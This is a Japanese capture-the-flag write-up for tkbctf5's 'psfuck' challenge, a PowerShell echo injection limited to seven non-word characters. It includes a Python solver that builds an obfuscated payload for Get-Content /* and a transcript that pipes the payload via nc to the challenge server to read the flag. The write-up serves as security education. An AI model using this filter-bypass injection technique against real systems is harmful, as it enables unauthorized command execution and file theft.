psfuck - tkbctf5

2026/3/16 投稿

はじめに

競技中には解けなかった問題。終了後に他チームの解法のヒントを見て、自分なりに解き直した記録。運営側の想定解は200バイト以下とのことなので、そこまで縮めてみた。

問題

PowerShellのechoコマンドへのインジェクション。

user_input = input("input> ") if len(set(user_input)) > 7 or re.search(r"\w", user_input): print("bye!") exit(1) subprocess.run(["pwsh", ..., "-Command", f"$ExecutionContext.SessionState.Applications.Clear(); echo {user_input}"])
制約は2つ。入力に使える文字種は最大7種類で、英数字とアンダースコア(\w)は全部ダメ。Applications.Clear()で外部バイナリも潰されている。フラグは/flag-{md5hex}.txtにある。

やりたいこと

Get-Content /*(エイリアスGC)を実行してフラグを読む。cmdletエイリアスはApplications.Clear()の影響を受けないので、GCなら動く。
問題はGCをどうやって書くか。wordcharは使えない。

文字範囲演算子

PowerShell 7の..演算子は、文字に対しても使える。
'(' .. ']' # ASCII 40~93のchar配列
()*+,-./0-9:;<=>?@A-Z[\]がまるごと手に入る。'('']'はwordcharじゃないので入力に使える。あとは[idx]で目当ての文字を取り出せばいい。
使う文字は' ( ) + . [ ]の7種類。全部非wordchar。

数値をどう作るか

レンジから文字を取り出すにはインデックスが要る。整数を7文字だけでどう組み立てるかが本題。

直接取得できる定数

+'X'['']というパターンで、文字のASCII値がそのまま整数として取れる。'X'は1文字の文字列、['']はインデックス0(''がintの0に変換される)でcharを取り出し、先頭の+がchar→int変換をやってくれる。
長さ
+''03
+'('['']408
+')'['']418
+'+'['']438
+'.'['']468
+'['['']918
+''''['']399

7文字のcharsetでこのパターンを全部試すと、この9個が手に入る。これ以上はない。

10進数文字列で整数を作る

レンジから数字の文字('0'〜'9')を取り出して文字列として連結し、+で整数に変換する。
ここで効くのが'['..'.'(91→46の降順レンジ)。数字文字のインデックスが定数値にぴったり重なる。
数字文字インデックス対応する定数
'0'43+'+'[''] (8文字)
'2'41+')'[''] (8文字)
'3'40+'('[''] (8文字)
'4'39+''''[''] (9文字)

たとえば整数23は、digit '2'とdigit '3'を取り出して連結→変換する。

+('' + ('['..'(')[+')'['']] + ('['..'(')[+'('['']]) = +("23") = 23

加算DP

上のやり方で作った整数同士の足し算も組み合わせて、0〜99の各整数について最短の表現を動的計画法で探索する。レンジは7文字×7文字の全42通り(昇順・降順)を試す。

ペイロードの組み立て

echo (.( enc('G') + enc('C') )( enc('/') + enc('*') ))
外側の()で式モードを強制して、中の.(cmd)(arg)がdot-source呼び出しとして評価される。

各文字のエンコード結果:

文字ASCII使ったレンジindex長さ
G71')'..'['3059
C67'+'..']'2459
/47']'..'('4620
*42'('..']'238
/が20バイトで済むのは、降順レンジのインデックス46が定数+'.'['']と一致するから。

最適化の経緯

段階サイズやったこと
素朴な実装8,679 B'('..']'レンジ1つ、oneを22個のtwoから構築
加算DP2,358 B数値の加法分解を全探索
定数導入305 B+'X'['']パターンで40,41,43,46を8文字で取得
平坦化+複数レンジ192 B(a+b)の外側括弧を除去、'.'..']'等の低index化
strip最適化186 B[...]内で不要な外側()を除去
'['..'.'レンジ追加185 Bdigit 0-4のインデックスが定数に直撃

これ以上縮むか

185バイトがこのアプローチの限界だと判断した。確認したこと:

  • 7文字×7文字の全42レンジを網羅
  • 加算分解は全パターン探索済み
  • 1桁・2桁・3桁(ゼロ埋め)の10進数構築を試行
  • 9個の定数は+'X'['']パターンを全charset文字で列挙しきっている
  • 入れ子チェーン(rangeA)[(rangeB)[bootstrap]]は全組み合わせで検証、常に直接アプローチより長い
  • ペイロード中の括弧20ペアは全て構文上必須

Solver

#!/usr/bin/env python3 two = "(+(''+(']'..'.')[+'+'['']]))" best = { 0: "+''", 2: two, 39: "+''''['']", 40: "+'('['']", 41: "+')'['']", 43: "+'+'['']", 46: "+'.'['']", 91: "+'['['']", 93: "+']'['']", } CHARS = [("''''", 39), ("'('", 40), ("')'", 41), ("'+'", 43), ("'.'", 46), ("'['", 91), ("']'", 93)] RANGES = [] seen = set() for s_str, s_val in CHARS: for e_str, e_val in CHARS: if s_val != e_val and (s_val, e_val) not in seen: seen.add((s_val, e_val)) RANGES.append((f"{s_str}..{e_str}", s_val, e_val)) def get_idx(s, e, t): lo, hi = min(s, e), max(s, e) if not (lo <= t <= hi): return None return t - s if s <= e else s - t def strip(expr): if not (expr.startswith('(') and expr.endswith(')')): return expr inner = expr[1:-1] d = 0; i = 0 while i < len(inner): c = inner[i] if c == "'": i += 1 while i < len(inner) and inner[i] != "'": i += 1 elif c in '([': d += 1 elif c in ')]': d -= 1 if d < 0: return expr i += 1 return inner if d == 0 else expr def digit_cands(d): r = [] for rng, s, e in RANGES: idx = get_idx(s, e, 48 + d) if idx is not None and idx in best: r.append((rng, strip(best[idx]))) return r changed = True while changed: changed = False for n in range(101): prev = best.get(n) for a in range(1, n): b = n - a if a in best and b in best: c = best[a] + "+" + best[b] if n not in best or len(c) < len(best[n]): best[n] = c if 0 <= n <= 9: for rng, si in digit_cands(n): c = strip(f"(+(''+({rng})[{si}]))") if n not in best or len(c) < len(best[n]): best[n] = c if 10 <= n <= 99: d1, d2 = n // 10, n % 10 for r1, si1 in digit_cands(d1): for r2, si2 in digit_cands(d2): c = strip(f"(+(''+({r1})[{si1}]+({r2})[{si2}]))") if n not in best or len(c) < len(best[n]): best[n] = c if best.get(n) != prev: changed = True def enc_char(ch): t = ord(ch) cands = [] for rng, s, e in RANGES: idx = get_idx(s, e, t) if idx is not None and idx in best: cands.append(f"({rng})[{strip(best[idx])}]") return min(cands, key=len) def enc(s): return "+".join(enc_char(c) for c in s) print(f"(.({enc('GC')})({enc('/*')}))")

実行

$ python3 solve.py | nc 35.194.108.145 58930 input> The specified drive root "tmpfs" either does not exist, or it is not a folder. Get-Content: Unable to get content because it is a directory: '/app'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/bin'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/dev'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/etc'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/home'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/lib'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/media'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/mnt'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/opt'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/proc'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/root'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/run'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/sbin'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/srv'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/sys'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/tmp'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/usr'. Please use 'Get-ChildItem' instead. Get-Content: Unable to get content because it is a directory: '/var'. Please use 'Get-ChildItem' instead. tkbctf{PowerSheeeeoooooooooo AAAAE-A-A-I-A-U- JO-oooooooooooo AAE-O-A-A-U-U-A- E-eee-ee-eee AAAAE-A-E-I-E-A- JO-ooo-oo-oo-oo EEEEO-A-AAA-AAAA}

Flag

tkbctf{PowerSheeeeoooooooooo AAAAE-A-A-I-A-U- JO-oooooooooooo AAE-O-A-A-U-U-A- E-eee-ee-eee AAAAE-A-E-I-E-A- JO-ooo-oo-oo-oo EEEEO-A-AAA-AAAA}